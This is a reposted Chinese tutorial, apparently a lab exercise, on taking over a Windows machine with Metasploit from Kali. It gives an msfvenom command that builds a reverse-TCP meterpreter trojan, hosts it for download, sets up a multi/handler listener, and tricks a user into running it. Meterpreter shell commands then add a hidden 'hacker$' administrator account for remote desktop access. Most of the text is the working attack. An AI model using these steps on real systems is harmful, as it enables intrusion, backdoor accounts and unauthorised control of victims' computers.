使用kail中Metasploit获取Windows的权限-9.20

内容导读

互联网集市收集整理的这篇技术教程文章主要介绍了使用kail中Metasploit获取Windows的权限-9.20，小编现在分享给大家，供广大互联网技能从业者学习和参考。文章包含1892字，纯文字阅读大概需要3分钟。

内容图文

　　kail基于Debian的数字取证系统，上面集成很多渗透工具，其前身是BT5 （R3）（BrackTrack）。 其中Metasploit是一个综合利用工具，极大提高攻击者的渗透效率，使用Ruby开发的，使用方便，使用该工具的方式：msfconsole，MSF依赖于Postgresql数据库，在使用MSF之前要开启该数据库。 step1：生成木马，msfvenom msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.16.128??lport=555 -f exe >/root/桌面/evilshell.exe -p -参数后跟上payload,攻击成功后要做什么事情； lhost?后跟监听的IP lport?后跟监听的端口 -f?后跟要监听的后门类型 ? step2:将木马文件evishell.exe文件放到/var/www/html文件夹下，开启Apache，在Windows里输入kail的ip，下载到桌面 step3：开启MSF，msfconsole(提前查看postgresql运行状态） =[ metasploit v5.0.46-dev??????????????????????????] + -- --=[ 1921 exploits - 1075 auxiliary - 330 post???????] + -- --=[ 556 payloads - 45 encoders - 10 nops????????????] + -- --=[ 4 evasion??????? Exploits :开发利用，攻击某些服务、平台、系统等用到的工具 Payload：载荷载体，攻击成功后要操作什么 Msf>use exploit/multi/handler msf5 exploit(multi/handler) > set payload?windows/meterpreter/reverse_tcp msf5 exploit(multi/handler) >show options msf5 exploit(multi/handler) > set lhost 192.168.16.128 msf5 exploit(multi/handler) > set lport 555 msf5 exploit(multi/handler) > exploit step4:在肉鸡中诱导用户点击exe程序（社会工程学攻击），在kail中就会得到肉鸡的shell（meterpreter） meterpreter>shell ipconfig net user hacker$ 123.c /add net localgroup administrators hacker$ /add step5:在kail中开一个新终端，rdesktop 192.168.16.131 ? 实验反思：使用win7系统实验失败，建议换成win?service 2008?r2： win7默认远程桌面（3306）端口是不开的，win7默认的cmd不是管理员权限，没有创建用户的权限，我在win7系统中用管理员打开cmd创建hacker（net user hacker$ 123.c /add）,加入到管理员用户组（net localgroup Administrator hacker$ /add）,然后在kail里远程连接（rdesktop 192.168.16.131）,显示会挤掉win7正在登陆的用户，而win7那边也有提示。。。。。。。

内容总结

以上是互联网集市为您收集整理的使用kail中Metasploit获取Windows的权限-9.20全部内容，希望文章能够帮你解决使用kail中Metasploit获取Windows的权限-9.20所遇到的程序开发问题。 如果觉得互联网集市技术教程内容还不错，欢迎将互联网集市网站推荐给程序员好友。

内容备注

版权声明：本文内容由互联网用户自发贡献，该文观点与技术仅代表作者本人。本站仅提供信息存储空间服务，不拥有所有权，不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容， 请发送邮件至 gblab@vip.qq.com 举报，一经查实，本站将立刻删除。

内容手机端

---